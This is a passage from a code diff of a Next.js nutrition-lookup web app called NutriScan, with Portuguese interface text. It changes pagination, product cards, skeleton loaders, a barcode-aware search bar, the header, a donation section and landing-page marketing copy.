<ChevronRight className="h-4 w-4" />
</Button>
</div>
</div>
{/* Linha 3: Seletor de itens por página (opcional) */}
{onItemsPerPageChange && (
<div className="flex justify-center">
<div className="flex items-center gap-2">
<span className="text-xs text-gray-600 dark:text-gray-400">
Por página:
</span>
<Select
value={localItemsPerPage.toString()}
onValueChange={handleItemsPerPageChange}
>
<SelectTrigger className="w-16 h-8 text-xs">
<SelectValue />
</SelectTrigger>
<SelectContent>
<SelectItem value="10">10</SelectItem>
<SelectItem value="20">20</SelectItem>
<SelectItem value="50">50</SelectItem>
<SelectItem value="100">100</SelectItem>
</SelectContent>
</Select>
</div>
</div>
)}
</div>
{/* Layout Desktop: Linha única */}
<div className="hidden sm:flex flex-row items-center justify-between gap-4">
{/* Informações dos itens */}
<div className="text-sm text-gray-600 dark:text-gray-400">
Mostrando {startIndex} a {endIndex} de {totalItems} resultado
{totalItems !== 1 ? "s" : ""}
</div>
{/* Controles de paginação */}
<div className="flex items-center gap-2">
{/* Seletor de itens por página */}
{onItemsPerPageChange && (
<div className="flex items-center gap-2 mr-4">
<span className="text-sm text-gray-600 dark:text-gray-400">
Por página:
</span>
<Select
value={localItemsPerPage.toString()}
onValueChange={handleItemsPerPageChange}
>
<SelectTrigger className="w-20 h-8">
<SelectValue />
</SelectTrigger>
<SelectContent>
<SelectItem value="10">10</SelectItem>
<SelectItem value="20">20</SelectItem>
<SelectItem value="50">50</SelectItem>
<SelectItem value="100">100</SelectItem>
</SelectContent>
</Select>
</div>
)}
{/* Última página */}
{finalConfig.showFirstLast && (
<Button
variant="outline"
size="sm"
onClick={() => onPageChange(totalPages)}
disabled={!canGoNext}
className="h-8 w-8 p-0"
>
<ChevronsRight className="h-4 w-4" />
</Button>
)}
{/* Botões de navegação */}
<div className="flex items-center gap-1">
{/* Primeira página */}
{finalConfig.showFirstLast && (
<Button
variant="outline"
size="sm"
onClick={() => onPageChange(1)}
disabled={!canGoPrevious}
className="h-8 w-8 p-0"
>
<ChevronsLeft className="h-4 w-4" />
</Button>
)}
{/* Página anterior */}
{finalConfig.showPrevNext && (
<Button
variant="outline"
size="sm"
onClick={() => onPageChange(currentPage - 1)}
disabled={!canGoPrevious}
className="h-8 w-8 p-0"
>
<ChevronLeft className="h-4 w-4" />
</Button>
)}
{/* Números das páginas */}
{visiblePages.map((page, index) => (
<div key={index}>
{page === "..." ? (
<span className="px-3 py-1 text-sm text-gray-500">...</span>
) : (
<Button
variant={currentPage === page ? "default" : "outline"}
size="sm"
onClick={() => onPageChange(page as number)}
className="h-8 w-8 p-0"
>
{page}
</Button>
)}
</div>
))}
{/* Próxima página */}
{finalConfig.showPrevNext && (
<Button
variant="outline"
size="sm"
onClick={() => onPageChange(currentPage + 1)}
disabled={!canGoNext}
className="h-8 w-8 p-0"
>
<ChevronRight className="h-4 w-4" />
</Button>
)}
{/* Última página */}
{finalConfig.showFirstLast && (
<Button
variant="outline"
size="sm"
onClick={() => onPageChange(totalPages)}
disabled={!canGoNext}
className="h-8 w-8 p-0"
>
<ChevronsRight className="h-4 w-4" />
</Button>
)}
</div>
</div>
</div>
</div>
+102 -6
View File
@@ -1,10 +1,11 @@
"use client";
import { useRouter } from "next/navigation";
import Link from "next/link";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Card, CardContent } from "@/components/ui/card";
import Image from "next/image";
import { OptimizedImage } from "@/components/OptimizedImage";
import { Product } from "@/lib/openFoodFactsApi";
import { Heart, AlertTriangle, Zap, Plus, Eye } from "lucide-react";
import { formatNutritionData } from "@/lib/openFoodFactsApi";
@@ -12,6 +13,9 @@ import { formatNutritionData } from "@/lib/openFoodFactsApi";
interface ProductCardProps {
product: Product;
className?: string;
priority?: number; // Posição na lista (0 = primeiro)
currentPage?: number; // Página atual para controle de cancelamento
variant?: "default" | "mobile"; // Variante de layout
}
const NUTRI_SCORE_CONFIG = {
@@ -65,7 +69,13 @@ const NOVA_CONFIG = {
},
};
export function ProductCard({ product, className = "" }: ProductCardProps) {
export function ProductCard({
product,
className = "",
priority = 999,
currentPage = 1,
variant = "default",
}: ProductCardProps) {
const router = useRouter();
const getProductImageUrl = (): string => {
@@ -102,21 +112,107 @@ export function ProductCard({ product, className = "" }: ProductCardProps) {
)
) || false;
// Layout mobile horizontal
if (variant === "mobile") {
return (
<Card
className={`product-card group relative overflow-hidden hover:shadow-lg transition-all duration-200 bg-white dark:bg-gray-900 border border-gray-100 dark:border-gray-800 ${className}`}
>
<div className="flex gap-3 p-3">
{/* Imagem - tamanho ajustado */}
<div className="w-24 h-24 flex-shrink-0 relative bg-gradient-to-br from-gray-50 to-gray-100 dark:from-gray-800 dark:to-gray-700 rounded-lg overflow-hidden">
<OptimizedImage
src={imageUrl}
alt={product.product_name || "Produto"}
fill
priority={priority}
onPageChange={currentPage}
className="object-contain p-2"
sizes="96px"
placeholder="empty"
/>
{/* Badges - tamanho ajustado */}
{nutritionGrade && (
<div className="absolute top-1 right-1">
<Badge
className={`${nutritionGrade.className} text-[9px] px-1.5 py-0.5 font-bold`}
>
{nutritionGrade.label}
</Badge>
</div>
)}
{hasCommonAllergens && (
<div className="absolute bottom-1 right-1">
<div className="bg-yellow-500 text-white rounded-full p-0.5">
<AlertTriangle className="w-2 h-2" />
</div>
</div>
)}
</div>
{/* Conteúdo - melhor espaçamento */}
<div className="flex-1 min-w-0 flex flex-col">
<div className="flex-1">
{/* Nome do produto */}
<h3 className="font-semibold text-sm text-gray-900 dark:text-white line-clamp-2 mb-1">
{product.product_name || "Produto sem nome"}
</h3>
{/* Marca */}
{product.brands && (
<p className="text-xs text-gray-500 dark:text-gray-400 truncate">
{product.brands}
</p>
)}
{/* Info nutricional compacta */}
<div className="flex gap-2 mt-2 text-xs">
{product.nutriments?.energy_100g &&
typeof product.nutriments.energy_100g === "number" && (
<span className="text-gray-600 dark:text-gray-400">
{Math.round(product.nutriments.energy_100g)} kcal
</span>
)}
{product.nutriments?.fat_100g &&
typeof product.nutriments.fat_100g === "number" && (
<span className="text-gray-600 dark:text-gray-400">
{product.nutriments.fat_100g.toFixed(1)}g gord.
</span>
)}
</div>
</div>
{/* Botão Ver - menor */}
<Link
href={`/produto/${product.code}`}
className="mt-2 inline-flex items-center justify-center gap-1 px-3 py-1.5 bg-blue-600 hover:bg-blue-700 text-white text-xs font-medium rounded-md transition-colors"
>
<Eye className="w-3 h-3" />
Ver
</Link>
</div>
</div>
</Card>
);
}
// Layout desktop padrão
return (
<Card
className={`product-card group relative overflow-hidden hover:shadow-2xl transition-all duration-300 hover:-translate-y-2 bg-white dark:bg-gray-900 border border-gray-100 dark:border-gray-800 ${className}`}
>
{/* Imagem do Produto */}
<div className="relative h-56 bg-gradient-to-br from-gray-50 to-gray-100 dark:from-gray-800 dark:to-gray-700 overflow-hidden">
<Image
<OptimizedImage
src={imageUrl}
alt={product.product_name || "Produto"}
fill
priority={priority}
onPageChange={currentPage}
className="object-contain p-6 group-hover:scale-110 transition-transform duration-500"
loading="lazy"
sizes="(max-width: 768px) 100vw, (max-width: 1200px) 50vw, 33vw"
placeholder="blur"
blurDataURL="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAABAAEDASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAv/xAAUEAEAAAAAAAAAAAAAAAAAAAAA/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAX/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwCdABmX/9k="
/>
{/* Overlay com badges */}
+198
View File
@@ -0,0 +1,198 @@
"use client";
import { cn } from "@/lib/utils";
interface SkeletonProps {
className?: string;
}
function Skeleton({ className }: SkeletonProps) {
return (
<div
className={cn(
"animate-pulse rounded-md bg-gray-200 dark:bg-gray-700",
className
)}
/>
);
}
export function ProductSkeleton({ className }: SkeletonProps) {
return (
<div className={cn("space-y-4", className)}>
{/* Header skeleton */}
<div className="bg-white dark:bg-gray-800 border-b border-gray-200 dark:border-gray-700">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-4">
<div className="flex items-center gap-4">
<Skeleton className="h-8 w-16" />
<div className="flex-1">
<Skeleton className="h-8 w-64 mb-2" />
<Skeleton className="h-4 w-32" />
</div>
</div>
</div>
</div>
{/* Content skeleton */}
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
<div className="grid grid-cols-1 lg:grid-cols-2 gap-8">
{/* Left column - Product image */}
<div className="space-y-4">
<div className="relative w-full max-w-2xl mx-auto bg-white dark:bg-gray-800 rounded-xl overflow-hidden shadow-lg">
<div className="aspect-square bg-gradient-to-br from-gray-50 to-gray-100 dark:from-gray-800 dark:to-gray-700 p-8">
<Skeleton className="w-full h-full rounded-lg" />
</div>
</div>
{/* Basic info skeleton */}
<div className="bg-gray-50 dark:bg-gray-800 rounded-xl p-4">
<Skeleton className="h-5 w-32 mb-3" />
<div className="space-y-2">
<div className="flex justify-between">
<Skeleton className="h-4 w-16" />
<Skeleton className="h-4 w-24" />
</div>
<div className="flex justify-between">
<Skeleton className="h-4 w-20" />
<Skeleton className="h-4 w-32" />
</div>
<div className="flex justify-between">
<Skeleton className="h-4 w-16" />
<Skeleton className="h-4 w-20" />
</div>
</div>
</div>
</div>
{/* Right column - Product details */}
<div className="space-y-6">
{/* Nutrition grades skeleton */}
<div className="grid grid-cols-1 sm:grid-cols-2 gap-4">
<div className="bg-white dark:bg-gray-800 border border-gray-200 dark:border-gray-700 rounded-xl p-4">
<Skeleton className="h-5 w-24 mb-3" />
<div className="flex items-center gap-3">
<Skeleton className="w-12 h-12 rounded-full" />
<div className="space-y-2">
<Skeleton className="h-4 w-20" />
<Skeleton className="h-3 w-32" />
</div>
</div>
</div>
<div className="bg-white dark:bg-gray-800 border border-gray-200 dark:border-gray-700 rounded-xl p-4">
<Skeleton className="h-5 w-16 mb-3" />
<div className="flex items-center gap-3">
<Skeleton className="w-12 h-12 rounded-full" />
<div className="space-y-2">
<Skeleton className="h-4 w-16" />
<Skeleton className="h-3 w-28" />
</div>
</div>
</div>
</div>
{/* Nutritional information skeleton */}
<div className="bg-white dark:bg-gray-800 border border-gray-200 dark:border-gray-700 rounded-xl p-4">
<Skeleton className="h-5 w-48 mb-4" />
<div className="grid grid-cols-2 gap-4">
{[...Array(7)].map((_, i) => (
<div key={i} className="space-y-2">
<div className="flex justify-between">
<Skeleton className="h-4 w-20" />
<Skeleton className="h-4 w-16" />
</div>
<Skeleton className="h-2 w-full rounded-full" />
</div>
))}
</div>
</div>
{/* Ingredients skeleton */}
<div className="bg-white dark:bg-gray-800 border border-gray-200 dark:border-gray-700 rounded-xl p-4">
<Skeleton className="h-5 w-24 mb-3" />
<div className="space-y-2">
<Skeleton className="h-4 w-full" />
<Skeleton className="h-4 w-4/5" />
<Skeleton className="h-4 w-3/4" />
<Skeleton className="h-4 w-2/3" />
</div>
</div>
{/* Allergens skeleton */}
<div className="bg-yellow-50 dark:bg-yellow-900/20 border border-yellow-200 dark:border-yellow-800 rounded-xl p-4">
<Skeleton className="h-5 w-20 mb-3" />
<div className="flex flex-wrap gap-2">
{[...Array(4)].map((_, i) => (
<Skeleton key={i} className="h-6 w-16 rounded-full" />
))}
</div>
</div>
{/* Additives skeleton */}
<div className="bg-blue-50 dark:bg-blue-900/20 border border-blue-200 dark:border-blue-800 rounded-xl p-4">
<Skeleton className="h-5 w-16 mb-3" />
<div className="flex flex-wrap gap-2">
{[...Array(6)].map((_, i) => (
<Skeleton key={i} className="h-6 w-12 rounded-full" />
))}
<Skeleton className="h-6 w-12 rounded-full" />
</div>
</div>
</div>
</div>
</div>
</div>
);
}
export function ProductCardSkeleton({ className }: SkeletonProps) {
return (
<div
className={cn(
"bg-white dark:bg-gray-800 rounded-xl shadow-sm border border-gray-200 dark:border-gray-700 overflow-hidden",
className
)}
>
<div className="aspect-square bg-gray-100 dark:bg-gray-700 p-4">
<Skeleton className="w-full h-full rounded-lg" />
</div>
<div className="p-4 space-y-3">
<Skeleton className="h-5 w-3/4" />
<Skeleton className="h-4 w-1/2" />
<div className="flex items-center gap-2">
<Skeleton className="w-8 h-8 rounded-full" />
<Skeleton className="h-4 w-16" />
</div>
<div className="flex justify-between items-center">
<Skeleton className="h-4 w-20" />
<Skeleton className="h-6 w-16 rounded-full" />
</div>
</div>
</div>
);
}
export function NutritionBarSkeleton({ className }: SkeletonProps) {
return (
<div className={cn("space-y-2", className)}>
<div className="flex items-center justify-between">
<Skeleton className="h-4 w-20" />
<Skeleton className="h-4 w-16" />
</div>
<div className="w-full bg-gray-200 dark:bg-gray-700 rounded-full h-2">
<Skeleton className="h-2 w-3/4 rounded-full" />
</div>
</div>
);
}
export function BadgeSkeleton({ className }: SkeletonProps) {
return (
<div className={cn("flex items-center gap-2", className)}>
<Skeleton className="w-12 h-12 rounded-full" />
<div className="space-y-1">
<Skeleton className="h-4 w-16" />
<Skeleton className="h-3 w-24" />
</div>
</div>
);
}
+79 -2
View File
@@ -1,27 +1,60 @@
"use client";
import { useState } from "react";
import { useState, useEffect } from "react";
import { useRouter } from "next/navigation";
import { Search } from "lucide-react";
import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import { detectSearchType, isValidBarcode } from "@/lib/openFoodFactsApi";
interface SearchBarProps {
initialQuery?: string;
className?: string;
placeholder?: string;
compact?: boolean; // Modo compacto para mobile
}
export function SearchBar({
initialQuery = "",
className = "",
placeholder = "Buscar produtos...",
compact = false,
}: SearchBarProps) {
const [query, setQuery] = useState(initialQuery);
const [searchType, setSearchType] = useState<"barcode" | "name" | null>(null);
const router = useRouter();
// Detectar tipo de busca em tempo real
useEffect(() => {
const cleaned = query.replace(/\D/g, ""); // Remove tudo que não é número
if (cleaned.length >= 8 && cleaned.length <= 13) {
setSearchType("barcode");
} else if (query.trim()) {
setSearchType("name");
} else {
setSearchType(null);
}
}, [query]);
const handleSearch = () => {
if (query.trim()) {
if (!query.trim()) return;
const type = detectSearchType(query);
if (type === "barcode") {
// Limpar código de barras (remover espaços/caracteres)
const cleanBarcode = query.replace(/\D/g, "");
if (isValidBarcode(cleanBarcode)) {
// Redirecionar para página do produto
router.push(`/produto/${cleanBarcode}`);
} else {
// Mostrar erro de código inválido
alert("Código de barras inválido. Deve ter entre 8 e 13 dígitos.");
}
} else {
// Busca normal por nome
router.push(`/resultados?q=${encodeURIComponent(query.trim())}`);
}
};
@@ -32,6 +65,41 @@ export function SearchBar({
}
};
if (compact) {
return (
<div className={`flex items-center gap-2 ${className}`}>
<div className="relative flex-1">
<Search className="absolute left-2 top-1/2 transform -translate-y-1/2 h-4 w-4 text-gray-400" />
<Input
type="text"
placeholder={placeholder}
value={query}
onChange={(e) => setQuery(e.target.value)}
onKeyPress={handleKeyPress}
className="pl-8 pr-2 h-9 text-sm"
/>
{/* Indicador visual do tipo de busca - mais compacto */}
{searchType && (
<div className="absolute right-2 top-1/2 transform -translate-y-1/2">
<span className="text-xs text-gray-500 bg-gray-100 dark:bg-gray-800 px-1.5 py-0.5 rounded text-[10px]">
{searchType === "barcode" ? "Código" : "Nome"}
</span>
</div>
)}
</div>
<Button
onClick={handleSearch}
disabled={!query.trim()}
size="sm"
className="h-9 px-3"
>
<Search className="h-4 w-4" />
</Button>
</div>
);
}
return (
<div className={`flex items-center gap-2 ${className}`}>
<div className="relative flex-1 max-w-md">
@@ -44,6 +112,15 @@ export function SearchBar({
onKeyPress={handleKeyPress}
className="pl-10 pr-4 h-10"
/>
{/* Indicador visual do tipo de busca */}
{searchType && (
<div className="absolute right-3 top-1/2 transform -translate-y-1/2">
<span className="text-xs text-gray-500 bg-gray-100 dark:bg-gray-800 px-2 py-1 rounded">
{searchType === "barcode" ? "Código de barras" : "Nome"}
</span>
</div>
)}
</div>
<Button
onClick={handleSearch}
+12 -19
View File
@@ -24,13 +24,13 @@ export function Header() {
return (
<header className="sticky top-0 z-50 bg-white/80 dark:bg-gray-900/80 backdrop-blur-md border-b border-gray-200 dark:border-gray-700">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div className="flex items-center justify-between h-16">
{/* Logo */}
<div className="flex items-center gap-3">
<div className="w-10 h-10 bg-gradient-to-r from-blue-600 to-green-600 rounded-xl flex items-center justify-center">
<ScanLine className="w-6 h-6 text-white" />
<div className="flex items-center justify-between h-14 sm:h-16">
{/* Logo - compacto em mobile */}
<div className="flex items-center gap-2 sm:gap-3">
<div className="w-8 h-8 sm:w-10 sm:h-10 bg-gradient-to-r from-blue-600 to-green-600 rounded-xl flex items-center justify-center">
<ScanLine className="w-5 h-5 sm:w-6 sm:h-6 text-white" />
</div>
<div>
<div className="hidden sm:block">
<h1 className="text-xl font-bold text-gray-900 dark:text-white">
NutriScan
</h1>
@@ -38,6 +38,12 @@ export function Header() {
Informações nutricionais
</p>
</div>
{/* Logo compacto para mobile */}
<div className="sm:hidden">
<h1 className="text-base font-bold text-gray-900 dark:text-white">
NutriScan
</h1>
</div>
</div>
{/* Desktop Navigation */}
@@ -54,12 +60,6 @@ export function Header() {
>
Recursos
</a>
<a
href="/pricing"
className="text-gray-600 dark:text-gray-300 hover:text-blue-600 dark:hover:text-blue-400 transition-colors"
>
Preços
</a>
<a
href="#sobre"
className="text-gray-600 dark:text-gray-300 hover:text-blue-600 dark:hover:text-blue-400 transition-colors"
@@ -121,13 +121,6 @@ export function Header() {
>
Recursos
</a>
<a
href="/pricing"
className="text-gray-600 dark:text-gray-300 hover:text-blue-600 dark:hover:text-blue-400 transition-colors py-2"
onClick={() => setIsMenuOpen(false)}
>
Preços
</a>
<a
href="#sobre"
className="text-gray-600 dark:text-gray-300 hover:text-blue-600 dark:hover:text-blue-400 transition-colors py-2"
@@ -0,0 +1,96 @@
import { Heart, Check, Code } from "lucide-react";
import { Button } from "@/components/ui/button";
export function DonationSection() {
return (
<section className="py-20 bg-white dark:bg-gray-900">
<div className="max-w-4xl mx-auto px-4">
<div className="text-center mb-12">
<h2 className="text-3xl md:text-4xl font-bold mb-4">
Apoie a Transparência Alimentar
</h2>
<p className="text-xl text-gray-600 dark:text-gray-400">
Este projeto é mantido por desenvolvedores independentes que
acreditam que informação sobre saúde deve ser acessível a todos, sem
custo.
</p>
</div>
{/* Benefícios da Doação */}
<div className="bg-gradient-to-br from-blue-50 to-green-50 dark:from-gray-800 dark:to-gray-700 rounded-2xl p-8 mb-8">
<h3 className="text-2xl font-bold mb-6">Sua doação garante:</h3>
<div className="grid md:grid-cols-2 gap-4">
<div className="flex items-start gap-3">
<div className="w-6 h-6 rounded-full bg-blue-500 flex items-center justify-center flex-shrink-0 mt-1">
<Check className="w-4 h-4 text-white" />
</div>
<p>Servidores sempre disponíveis para consultas instantâneas</p>
</div>
<div className="flex items-start gap-3">
<div className="w-6 h-6 rounded-full bg-green-500 flex items-center justify-center flex-shrink-0 mt-1">
<Check className="w-4 h-4 text-white" />
</div>
<p>Novas funcionalidades baseadas em feedback da comunidade</p>
</div>
<div className="flex items-start gap-3">
<div className="w-6 h-6 rounded-full bg-purple-500 flex items-center justify-center flex-shrink-0 mt-1">
<Check className="w-4 h-4 text-white" />
</div>
<p>Manutenção contínua e atualizações de segurança</p>
</div>
<div className="flex items-start gap-3">
<div className="w-6 h-6 rounded-full bg-orange-500 flex items-center justify-center flex-shrink-0 mt-1">
<Check className="w-4 h-4 text-white" />
</div>
<p>Expansão do acesso a informações para mais pessoas</p>
</div>
</div>
</div>
{/* Humanização - História do Projeto */}
<div className="bg-gray-50 dark:bg-gray-800 rounded-2xl p-8 mb-8">
<div className="flex items-center gap-4 mb-4">
<div className="w-16 h-16 rounded-full bg-gradient-to-br from-blue-500 to-green-500 flex items-center justify-center">
<Code className="w-8 h-8 text-white" />
</div>
<div>
<h4 className="font-bold text-lg">
Ideia nascida de um estudante
</h4>
<p className="text-sm text-gray-600 dark:text-gray-400">
Mantido por NutriScan
</p>
</div>
</div>
<p className="text-gray-600 dark:text-gray-400">
O que começou como uma ideia de um estudante de Engenharia da
Computação se tornou uma ferramenta que democratiza o acesso à
informação nutricional. Cada doação ajuda a manter este projeto vivo
e acessível para todos.
</p>
</div>
{/* CTA de Doação */}
<div className="text-center">
<a
href="https://buymeacoffee.com/evandrotruuta"
target="_blank"
rel="noopener noreferrer"
className="inline-block"
>
<Button
size="lg"
className="bg-gradient-to-r from-blue-600 to-green-600 text-white px-8 py-6 text-lg hover:shadow-2xl transition-all"
>
<Heart className="w-5 h-5 mr-2" />
Doe/Donate
</Button>
</a>
<p className="mt-4 text-sm text-gray-500">
Qualquer valor faz diferença 💛
</p>
</div>
</div>
</section>
);
}
+46 -128
View File
@@ -1,174 +1,92 @@
import {
BarChart3,
Shield,
List,
Globe,
Zap,
Heart,
AlertTriangle,
CheckCircle,
} from "lucide-react";
import { Shield, Zap, Sparkles, Heart, CheckCircle } from "lucide-react";
const features = [
{
icon: BarChart3,
title: "Informações Nutricionais Completas",
icon: Shield,
title: "Dados da Comunidade Open Food Facts",
description:
"Calorias, proteínas, carboidratos, gorduras e muito mais. Dados precisos para cada produto.",
"Informações fornecidas pela maior base de dados colaborativa de alimentos do mundo, mantida por uma comunidade global de colaboradores voluntários.",
color: "text-blue-600 dark:text-blue-400",
bgColor: "bg-blue-50 dark:bg-blue-900/20",
iconBg: "bg-blue-100 dark:bg-blue-900/40",
},
{
icon: Shield,
title: "Nutri-Score e NOVA",
description:
"Classificações oficiais de qualidade nutricional para ajudar você a fazer escolhas mais saudáveis.",
color: "text-green-600 dark:text-green-400",
bgColor: "bg-green-50 dark:bg-green-900/20",
iconBg: "bg-green-100 dark:bg-green-900/40",
},
{
icon: List,
title: "Ingredientes Detalhados",
description:
"Lista completa de ingredientes, incluindo alérgenos e aditivos alimentares.",
color: "text-orange-600 dark:text-orange-400",
bgColor: "bg-orange-50 dark:bg-orange-900/20",
iconBg: "bg-orange-100 dark:bg-orange-900/40",
},
{
icon: Globe,
title: "Banco de Dados Global",
description:
"Acesso a milhões de produtos do Open Food Facts, a maior base de dados alimentar do mundo.",
color: "text-purple-600 dark:text-purple-400",
bgColor: "bg-purple-50 dark:bg-purple-900/20",
iconBg: "bg-purple-100 dark:bg-purple-900/40",
benefit: "Base colaborativa mundial",
},
{
icon: Zap,
title: "Busca Instantânea",
title: "Atualizações em Tempo Real",
description:
"Resultados em segundos. Digite o código de barras e obtenha informações imediatamente.",
color: "text-yellow-600 dark:text-yellow-400",
bgColor: "bg-yellow-50 dark:bg-yellow-900/20",
iconBg: "bg-yellow-100 dark:bg-yellow-900/40",
"Novos produtos são adicionados a cada minuto. Quando a indústria muda fórmulas, a comunidade atualiza — e você tem acesso instantâneo às informações mais recentes.",
color: "text-green-600 dark:text-green-400",
bgColor: "bg-green-50 dark:bg-green-900/20",
iconBg: "bg-green-100 dark:bg-green-900/40",
benefit: "Atualizado continuamente",
},
{
icon: Sparkles,
title: "Interface Intuitiva, Resultado Imediato",
description:
"Desenvolvido pensando em quem não tem tempo a perder. Digitalize, veja os dados e tome sua decisão em menos de 10 segundos.",
color: "text-purple-600 dark:text-purple-400",
bgColor: "bg-purple-50 dark:bg-purple-900/20",
iconBg: "bg-purple-100 dark:bg-purple-900/40",
benefit: "Resultados em <10 segundos",
},
{
icon: Heart,
title: "Alimentação Consciente",
title: "100% Gratuito, Para Sempre",
description:
"Tome decisões mais informadas sobre sua alimentação com dados confiáveis e atualizados.",
color: "text-red-600 dark:text-red-400",
bgColor: "bg-red-50 dark:bg-red-900/20",
iconBg: "bg-red-100 dark:bg-red-900/40",
},
];
const benefits = [
{
icon: CheckCircle,
text: "Dados verificados por especialistas",
color: "text-green-600 dark:text-green-400",
},
{
icon: CheckCircle,
text: "Atualizações em tempo real",
color: "text-green-600 dark:text-green-400",
},
{
icon: CheckCircle,
text: "Interface simples e intuitiva",
color: "text-green-600 dark:text-green-400",
},
{
icon: CheckCircle,
text: "Totalmente gratuito",
color: "text-green-600 dark:text-green-400",
"Construído sobre dados open source, o NutriScan nunca cobrará pelo acesso à informação. Porque conhecimento sobre saúde deve ser universal, não um privilégio.",
color: "text-orange-600 dark:text-orange-400",
bgColor: "bg-orange-50 dark:bg-orange-900/20",
iconBg: "bg-orange-100 dark:bg-orange-900/40",
benefit: "Sempre gratuito, sem truques",
},
];
export function Features() {
return (
<section className="py-20 bg-gray-50 dark:bg-gray-900">
<section className="py-20 bg-gray-50 dark:bg-gray-800">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
{/* Header */}
<div className="text-center mb-16">
<h2 className="text-3xl sm:text-4xl font-bold text-gray-900 dark:text-white mb-4">
Por que escolher o NutriScan?
Por que milhares confiam no NutriScan
</h2>
<p className="text-xl text-gray-600 dark:text-gray-300 max-w-3xl mx-auto">
Descubra todas as informações que você precisa sobre seus alimentos
de forma rápida, precisa e confiável.
<p className="text-xl text-gray-600 dark:text-gray-400">
Transparência que transforma alimentação
</p>
</div>
{/* Features Grid */}
<div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8 mb-16">
<div className="grid grid-cols-1 md:grid-cols-2 gap-8">
{features.map((feature, index) => (
<div
key={index}
className={`${feature.bgColor} p-8 rounded-2xl border border-gray-200 dark:border-gray-700 hover:shadow-lg transition-all duration-300 hover:scale-105 group`}
className="bg-white dark:bg-gray-900 rounded-2xl p-8 shadow-lg hover:shadow-2xl transition-shadow"
>
{/* Icon */}
<div
className={`${feature.iconBg} w-16 h-16 rounded-xl flex items-center justify-center mb-6 group-hover:scale-110 transition-transform duration-300`}
className={`${feature.iconBg} w-12 h-12 rounded-lg flex items-center justify-center mb-4`}
>
<feature.icon className={`w-8 h-8 ${feature.color}`} />
<feature.icon className={`w-6 h-6 ${feature.color}`} />
</div>
<h3 className="text-xl font-semibold text-gray-900 dark:text-white mb-4">
{/* Content */}
<h3 className={`text-2xl font-bold mb-3 ${feature.color}`}>
{feature.title}
</h3>
<p className="text-gray-600 dark:text-gray-300 leading-relaxed">
<p className="text-gray-600 dark:text-gray-400 mb-4">
{feature.description}
</p>
{/* Benefit */}
<div className="flex items-center text-sm text-blue-600">
<CheckCircle className="w-4 h-4 mr-2" />
<span>{feature.benefit}</span>
</div>
</div>
))}
</div>
{/* Benefits Section */}
<div className="bg-white dark:bg-gray-800 rounded-2xl p-8 shadow-lg border border-gray-200 dark:border-gray-700">
<div className="text-center mb-8">
<h3 className="text-2xl font-bold text-gray-900 dark:text-white mb-4">
Vantagens do NutriScan
</h3>
<p className="text-gray-600 dark:text-gray-300">
Tudo que você precisa para uma alimentação mais consciente
</p>
</div>
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-6">
{benefits.map((benefit, index) => (
<div key={index} className="flex items-center gap-3">
<benefit.icon
className={`w-6 h-6 ${benefit.color} flex-shrink-0`}
/>
<span className="text-gray-700 dark:text-gray-300 font-medium">
{benefit.text}
</span>
</div>
))}
</div>
</div>
{/* CTA Section */}
<div className="text-center mt-16">
<div className="bg-gradient-to-r from-blue-600 to-green-600 rounded-2xl p-8 text-white">
<h3 className="text-2xl font-bold mb-4">
Pronto para descobrir seus alimentos?
</h3>
<p className="text-blue-100 mb-6 max-w-2xl mx-auto">
Comece agora mesmo digitando o código de barras de qualquer
produto e descubra todas as informações nutricionais disponíveis.
</p>
<div className="flex flex-col sm:flex-row gap-4 justify-center items-center">
<div className="text-sm text-blue-200">
<AlertTriangle className="w-4 h-4 inline mr-1" />
Dica: O código de barras está na embalagem do produto
</div>
</div>
</div>
</div>
</div>
</section>
);
+42 -32
View File
@@ -113,18 +113,51 @@ export function Hero() {
{/* Main Heading */}
<h1 className="text-3xl sm:text-4xl lg:text-5xl xl:text-6xl font-bold text-gray-900 dark:text-white mb-4 sm:mb-6 leading-tight">
Descubra tudo sobre seus{" "}
Descubra o que a comunidade alimentar sabe sobre{" "}
<span className="bg-gradient-to-r from-blue-600 to-green-600 bg-clip-text text-transparent">
alimentos
seus alimentos
</span>
</h1>
{/* Subtitle */}
<p className="text-lg sm:text-xl lg:text-2xl text-gray-600 dark:text-gray-300 mb-8 sm:mb-12 max-w-3xl mx-auto leading-relaxed">
Consulte informações nutricionais completas, ingredientes e
classificações de qualidade de milhares de produtos alimentícios.
<p className="text-lg sm:text-xl lg:text-2xl text-gray-600 dark:text-gray-300 mb-4 max-w-3xl mx-auto leading-relaxed">
Transparência total, zero custo, milhões de dados colaborativos ao seu
alcance.
</p>
<p className="text-base sm:text-lg text-gray-500 dark:text-gray-400 mb-8 sm:mb-12 max-w-4xl mx-auto leading-relaxed">
Consulte informações nutricionais completas, ingredientes e
classificações de qualidade — tudo baseado no{" "}
<span className="font-semibold text-blue-600">Open Food Facts</span>,
a maior base de dados colaborativa do mundo.
</p>
{/* Estatísticas Visuais */}
<div className="flex justify-center gap-6 sm:gap-8 mb-8 sm:mb-12 text-center">
<div className="animate-fadeIn">
<div className="text-2xl sm:text-3xl font-bold text-blue-600">
2M+
</div>
<div className="text-xs sm:text-sm text-gray-500">
produtos no banco
</div>
</div>
<div className="animate-fadeIn" style={{ animationDelay: "0.2s" }}>
<div className="text-2xl sm:text-3xl font-bold text-green-600">
100+
</div>
<div className="text-xs sm:text-sm text-gray-500">
países cobertos
</div>
</div>
<div className="animate-fadeIn" style={{ animationDelay: "0.4s" }}>
<div className="text-2xl sm:text-3xl font-bold text-purple-600">
24/7
